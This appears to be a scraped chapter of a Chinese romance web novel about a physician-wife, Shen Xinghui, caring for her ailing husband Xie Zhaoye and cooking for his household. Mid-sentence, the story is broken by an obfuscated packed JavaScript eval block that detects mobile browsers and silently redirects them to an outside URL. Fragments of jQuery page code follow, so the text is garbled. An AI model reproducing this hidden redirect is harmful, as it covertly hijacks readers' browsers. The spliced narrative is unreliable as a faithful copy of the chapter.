“三婶,谢昭野小时候有没有特别喜欢的东西,或者爱听的曲子?”沈星回问道。
三夫人停步,站在原地思考,过了一会儿,摇了摇头。
“他自小就很懂事,不太需要人操心。也没有什么特别的偏好,爱吃姐姐做的菜,这个现在恐怕很难实现了。”
沈星回无奈地点点头,谢过三夫人,便准备折返回去。
“我想起来了,之前他有一次发高烧,到了夜里就梦魇哭叫,姐姐一直守在他身边给他唱一首曲子。”三夫人双眼一亮,拉着沈星回就往回走。
“走啊!回屋里,我教你唱!”
给谢昭野针灸完,沈星回就这样又花了一下午的时间,学会了这首歌谣。
“月牙弯,梆子响,卖梦郎,走街巷。卖好梦,卖糖霜,卖断前缘滋味长。小娘子,开扇窗,递出银钱亮晃晃。我不要梦不要糖,卖我旧人忘一场……”
三夫人激动地鼓掌道,“我们星回真是有天赋,一学就会,配上这甜美的嗓音,真是动听,等以后你们有了孩子,继续唱这个歌谣。”
这话说得让沈星回红了脸,“谢过三婶啦,这耽误了你大半天时间,改日我做了些特色点心与你尝尝。”
“无妨,我本就整日无事,当务之急是照顾好小野。”
*
经过针灸的谢昭野,感觉身上的血脉通畅了许多,整个头脑也清醒起来。
闻讯赶来的沈星回,赶紧对他进行了检查,询问了一些问题,确认他的精神稳定,并未损伤到大脑智力。
“你是觉得我会变成傻子?”谢昭野有些不解和一丝愤怒。
沈星回一本正经,语气平直地回道:“这个病症发作时,若沉溺在某段回忆或者状态里出不来,就会变成孩童时候的智商。”
谢昭野闻言有些吃惊,想要问问这样的阶段还有多久能结束,抬眼却正好看到她俯身检查自己腿部的伤口。
她白嫩顺滑的脖颈上,一道紫红的手印引人注目。
他不自觉地问道:“还疼吗?”
“嗯?”沈星回扭头,两人四目相对,眼神碰撞在一起。
“不好意思,我当时已经不知道你是谁了。”谢昭野匆忙扭开头,小声说道。
沈星回反应过来,用手摸着脖颈,笑道:“不疼,就是有点丑,公子要是过意不去,这个月多给开点诊费就行。”
谢昭野没抬头,光线未照到的地方,轻轻笑了。一个人怎么能这么有生命力,如同野草一般的坚韧。
“你好像瘦了很多,辛苦了,月钱翻倍。”他整理着衣服,轻轻吐出这么一句。
沈星回愣了一下,接着满脸笑容地说道:“那公子可要快点好起来,不然我都担心我这月钱要发不出来了。”
这么一说,沈星回顺势坐在床边,轻轻皱着眉头,忧虑地说:“你如今整日不用去办公,还要购置药材,养这么多人,你的积蓄还能不能撑得住啊?”
她倒不是对钱财有什么想法,只是看这侯府的架势,这日常开销都是谢昭野自己承担,到时候还需要自己出去挣钱养活这个院子啊。
“瘦死的骆驼比马大。放心吧,再来三个侯府我也养得起。”谢昭野看着她的样子,心里却升起了一丝温暖。
这么多年,好像从来没有关心过他撑不撑得住这些事情,会不会缺钱,总觉得他是无坚不摧的。
“对了,差点忘了正事,这是三婶拜托我交给你的。”沈星回将信递给了他。
谢昭野迅速地拆开阅读,脸色慢慢阴沉了下来,看完一遍,他又从头开始看了三遍。
沈星回没有动,等在原地,本以为看完信他会有什么安排,或者跟她说些什么。
“你先出去吧。”谢昭野冷冷地说道。
沈星回一愣,转身走了,这男人翻脸可真快。
经过这几天的折腾,沈星回感觉饥肠辘辘,走到小厨房,想到大家这些天也都很辛苦,决定做些好吃的来犒劳犒劳。
厨房里有新鲜的蘑菇和笋,还有一扇猪肉,还有些泡发的红豆和蔬菜。
那就做个清炒笋尖,水煮肉片,红烧排骨,再来个菌菇煎蛋汤,主食就米饭再配个红豆饼吧。
将菱儿、芙儿喊来,一起聊着天洗菜、切菜,不亦乐乎。
“夫人,你快坐着歇着,等我们准备好,你只管掌勺就行。”芙儿看着沈星回跟着忙里忙外,十分心疼。
经过这段时间的相处,她觉得自家的夫人是最好的,这日子过得是从来没敢想过的。
公子能走出房间,露出笑脸,小厨房也重新有了烟火气,大家也偶尔的小闹打趣,生活变得越来越有趣。
“去把云朔喊来,让他用刀把这猪骨砍一下,咱们做起来实在太慢了。”沈星回安排道。
菱儿急忙应下,“好嘞,这就去,可不能让他光坐等着吃!”
一群人忙忙活活,不一会便将菜都做好了。
“宋嬷嬷,今日也让公子尝尝吧,这些菜和他的药并不犯冲,总吃那没滋没味的,也没个盼头啊!”
听完沈星回这话,宋嬷嬷心想,这既是夫人的安排,也是大夫的吩咐,宋嬷嬷当即分出一份给谢昭野送去了。
接着,饭桌上便是风卷残云一般,几个人低头不语,专心吃饭。
“我感觉自己又活过来了!真的是太好吃了!”云朔一脸满足,“要我说,公子要是早吃上夫人的饭,病能好得更快!”
菱儿剜了他一眼,“那还不是你家公子有福气娶了我家小姐!”
“是是是!多亏了夫人,说真的,我们真的特别感谢您,您真的是我们公子的福星!”
说话一贯冷言冷语的云峥这话一出,让大家惊呆了,实属罕见啊!
另一边,独自在房间里享用晚餐的谢昭野,居然吃饭吃出一身汗来。
好久未尝辛辣滋味,竟然这般咸香诱人,十分下饭,几口肉菜后,再来些竹笋清口,或者喝上几口鲜美的蘑菇汤,就连里面的煎蛋都变得滑嫩。
已经吃得很饱的谢昭野,看着那外皮金灿又透着粉红的红豆饼,忍不住又吃了一个,结果就是撑到坐在椅子上都不想动了。
不过今日他倒是理解了酒足饭饱的快乐,之前他总觉得这是沉迷享乐,如今看来是自己不食人间烟火了。
谁知今日太子居然又翻墙来了。
他看着坐在桌前盯着点心愣神的谢昭野,觉得有些新奇。
“今日饭量不错啊,吃了这么多。”
谢昭野自嘲道:“发疯也是很消耗体力的。”
桌上的饭菜,谢昭野已经吃过了大半,他吃饭很讲究,总是规整地剩下饭,并未翻乱,基本还能看出这菜原来的样子。
“你院子里换厨娘了?这么不懂事,还给你做这般辛辣的吃食。这新招来的人靠不靠谱啊……”萧景川念叨起来。
“是沈星回,味道不错,你尝尝。”谢昭野看他这副紧张的样子,递给他一块红豆饼。
他的心里现在又有潺潺暖流涌过,知己挚友对自己一直如此上心,自己之前却毫无察觉,或者说是不肯去感受,只麻痹自己。
萧景川将信将疑地接过来,自家也是有妹妹的人,这些大小姐们的厨艺是真的不敢恭维。
轻轻咬了一口,红豆沙的松软和外皮的糯米香,恰到好处,这豆子说甜却好像是天然的味道,说不甜又带着香气。
不一会,萧景川便将剩余的三个都吃完了。
“下次来,我要提前跟你说,为了见你,我饭都不顾上吃,谁知你却在这享受山珍海味!”萧景川撇撇嘴。
帮助这个太子上位,是谢昭野自己选的。
虽说太子本就是正统,可他身上更珍贵的是那份率真和平实,也大抵是因为他早早上战场历练过。
“云铮。”
“云峥。”
谢昭野喊了两声,才见他出现。
“去给太子殿下也备一份吃食。”
云铮站在原地没有应声,小声说道:“公子,剩下的那些,夫人让我们都吃掉了。”
萧景川闻言,哈哈大笑起来,看来这院子已经被这新夫人收
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241323|197747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
买得差不多了,以后这个谢昭野,八成也要变成个老婆奴了。
谢昭野没想到这个情况,正要开口,便见沈星回端着托盘走了进来。
刚才饭后,宋嬷嬷将定制的新衣给她送来,正巧做饭做得一身油烟,她便选了一身水蓝色的换上了。
衣服合身便更显得沈星回的腰身曼妙,整个身形都变得玲珑纤细,打眼望去,背后的一片竹林和这水蓝色衬得她十分清新脱俗。
原身本就是极好的面貌,不然也不至于将她变肥30斤,庶姐才能将她比下去。如今去掉浮肿,脸蛋紧致立体,一双杏眼十分灵动,虽然气色还未完全养好,倒是多了些我见犹怜的感觉。
谢昭野这么多天,也是第一次在清醒时正经地见过她,不禁盯着她看,一颦一笑,一步一趋,都十分优雅。
萧景川内心十分凌乱,这到底是什么情况,这个嫂夫人怎么每次来都变个样子,这是一个人吗?他们夫妻俩在搞什么啊!
转头却看到谢昭野眼神里的欣赏都快要溢出来了……
“见过太子殿下。”
“公……夫君,”沈星回刚想喊公子,想到有人在场急忙改口,“今日送来了些牛乳,我做了些双皮奶与你尝尝。”
谢昭野其实可以告诉她,太子是自己人,他在场时无须掩饰,可今日他却不想解释。
“嫂夫人,冒昧地问一下,那个红豆饼还有吗?舍妹最爱红豆馅,正巧这几日我惹她生气,想借花献佛。”萧景川问道,看着谢昭野那含情脉脉的眼神,他可不想再看下去了。
“还剩几个,若是太子不着急走,可以再做些,很快的。”沈星回很开心他们喜欢自己做的食物,主动回道。
谢昭野听完,酸酸地说道:“不必麻烦,给他打包几个就行了。宜宁胃口小,吃不多。”
萧景川心里翻了个大大的白眼,眼珠一转,他殷勤地说道:“不知嫂嫂治好了这位以后,有何打算?”
沈星回没想到他会这么问,稍稍一愣。
萧景川解释道,“嫂夫人莫怕,我是觉得你这般好的手艺,实在是想跟你合作开个酒楼,我的资源加上你的手艺,我估计不出三个月,必定能成榜首。”
这话说得倒是与沈星回想得不谋而合,只是当着谢昭野的面就讨论怎么摆脱他,也属实有些不妥。
“这些我倒是没想过,最重要的还是医好夫君的病。”沈星回一副贤妻良母,毫无野心的样子。
没想过?谢昭野轻轻挑了一下眉,之前你可不是这样说的。
转念一想,这么看她的知心话倒是说给了自己,他又开心了。
“行了,拿上打包的东西回去吧!出来的时候也不短了。”谢昭野直接下了逐客令。
萧景川得了便宜便见好就收,一溜烟地又翻墙走了。
沈星回给谢昭野把完脉,蹲在他的身侧,检查腿部伤口。
“你如果想开酒楼,可以告诉我,我帮你。”谢昭野突然说道。
沈星回头也没抬,专心检查,“嗯,好。”
谢昭野见她这个反应,怕她觉得自己是在和太子赌气戏弄她,又解释道:“你我毕竟是名义上的夫妻,合作也理所当然。太子是好,可党派之争难免会殃及池鱼,你没必要卷进来。”
沈星回抬头,双眸明清,这样近的距离都能看到那浓密的睫毛有些颤抖,“好,我知道。”
谢昭野的心,乱了一拍。
出了房间,沈星回倒是真开始想起来开饭店的事情。
之前让兰芝姑姑给打听的情况也不知怎样了,最近也没有再收到弟弟的消息,不禁记挂了起来。
一边走一边想,一不小心撞到了院中的石凳上。
只不过,并不是脚疼,而是石凳子被踢倒滚跑了……
沈星回赶紧跑过去,想要阻止凳子再继续往前滚,没想到轻松地将凳子扶了起来。
这是自己的错觉吗?石凳子这么轻吗?
接着她又搬了起来,放回了原位。
“夫人,你在干嘛!”菱儿见状大喊道。